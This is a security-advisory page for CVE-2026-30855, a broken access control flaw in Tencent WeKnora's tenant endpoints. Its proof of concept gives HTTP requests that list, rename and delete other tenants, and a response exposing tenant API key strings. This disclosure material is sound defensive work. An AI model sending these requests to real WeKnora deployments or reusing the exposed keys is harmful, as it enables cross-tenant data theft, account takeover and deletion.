8.8high
WeKnora: Broken Access Control in Tenant Management
- Severity
- 8.8high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.53% (higher than 38% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-ccj6-79j6-cq5qGO-2026-4642
Description
WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Tencent WeKnora | < 0.3.2, before 0.3.2 | CVE List, NVD |
| github.com/Tencent/WeKnora (Go) | before 0.3.2, before 0.3.1 | GitHub Advisory Database, Go Vulnerability Database |
All scores
| GitHub_M | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2.
GitHub Advisory Database
Summary
An authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.
Details
The tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.
Affected handlers:
GET /api/v1/tenantslists all tenants without ownership checksGET /api/v1/tenants/{id}reads any tenant by ID without ownership checksPUT /api/v1/tenants/{id}allows updating any tenant by ID without ownership checksDELETE /api/v1/tenants/{id}allows deleting any tenant by ID without ownership checks
These endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike ListAllTenants and SearchTenants.
PoC
-
Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.
-
Read details of other tenants:
-
Request that uses API key via the
X-API-Keyheader:GET /api/v1/tenants HTTP/1.1 Host: localhost Connection: keep-alive X-Request-ID: 2TpH2S0sHyi1 X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd sec-ch-ua-platform: "macOS" User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Accept: application/json, text/plain, */* sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144" sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://weknora.serviceme.top/platform/knowledge-bases Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 -
Response (truncated for brevity):
HTTP/1.1 200 OK Server: nginx/1.28.0 Date: Fri, 06 Feb 2026 03:12:22 GMT Content-Type: application/json; charset=utf-8 Connection: close X-Request-Id: 2TpH2S0sHyi1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: strict-origin-when-cross-origin { "data": { "items": [ { "id": 10025, "name": "injokerr's Workspace", "api_key": "sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd", "status": "active" }, { "id": 10001, "name": "viaim_yuweilong", "api_key": "sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe", "status": "active" } ] }, "success": true } ...
With API keys, we can do anything on the victim account's behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.
Requests to perform modification and deletion of another tenant.
- Modify the victim tenant:
-
Request:
- Method:
PUT - URL:
http://localhost:8088/api/v1/tenants/10001 - Header:
Authorization: Bearer <ATTACKER_TOKEN> - Body:
{ "name": "HACKED by tenant 10025" }
- Method:
-
Expected response:
200 OKwith the updated tenant object.
- Delete the victim tenant:
-
Request:
- Method:
DELETE - URL:
http://localhost:8088/api/v1/tenants/10001 - Header:
Authorization: Bearer <ATTACKER_TOKEN>
- Method:
-
Expected response:
200 OKand the tenant is deleted.
Impact
This is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.
Go Vulnerability Database
WeKnora Vulnerable to Broken Access Control in Tenant Management in github.com/Tencent/WeKnora
NVD (es)
WeKnora es un framework impulsado por LLM diseñado para la comprensión profunda de documentos y la recuperación semántica. Antes de la versión 0.3.2, una omisión de autorización en los endpoints de gestión de inquilinos de la aplicación WeKnora permite a cualquier usuario autenticado leer, modificar o eliminar cualquier inquilino por ID. Dado que el registro de cuentas está abierto al público, esta vulnerabilidad permite a cualquier atacante no autenticado registrar una cuenta y posteriormente explotar el sistema. Esto permite la toma de control y destrucción de cuentas entre inquilinos, haciendo que el impacto sea crítico. Este problema ha sido parcheado en la versión 0.3.2.
References
| https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q | advisory, exploit, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-30855 | advisory | |
| https://github.com/Tencent/WeKnora | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-30855 changed 2026-03-09 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-ccj6-79j6-cq5q changed 2026-03-23 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-4642 changed 2026-03-23 | CC-BY-4.0 |
| NVD | CVE-2026-30855 changed 2026-06-17 | Public domain |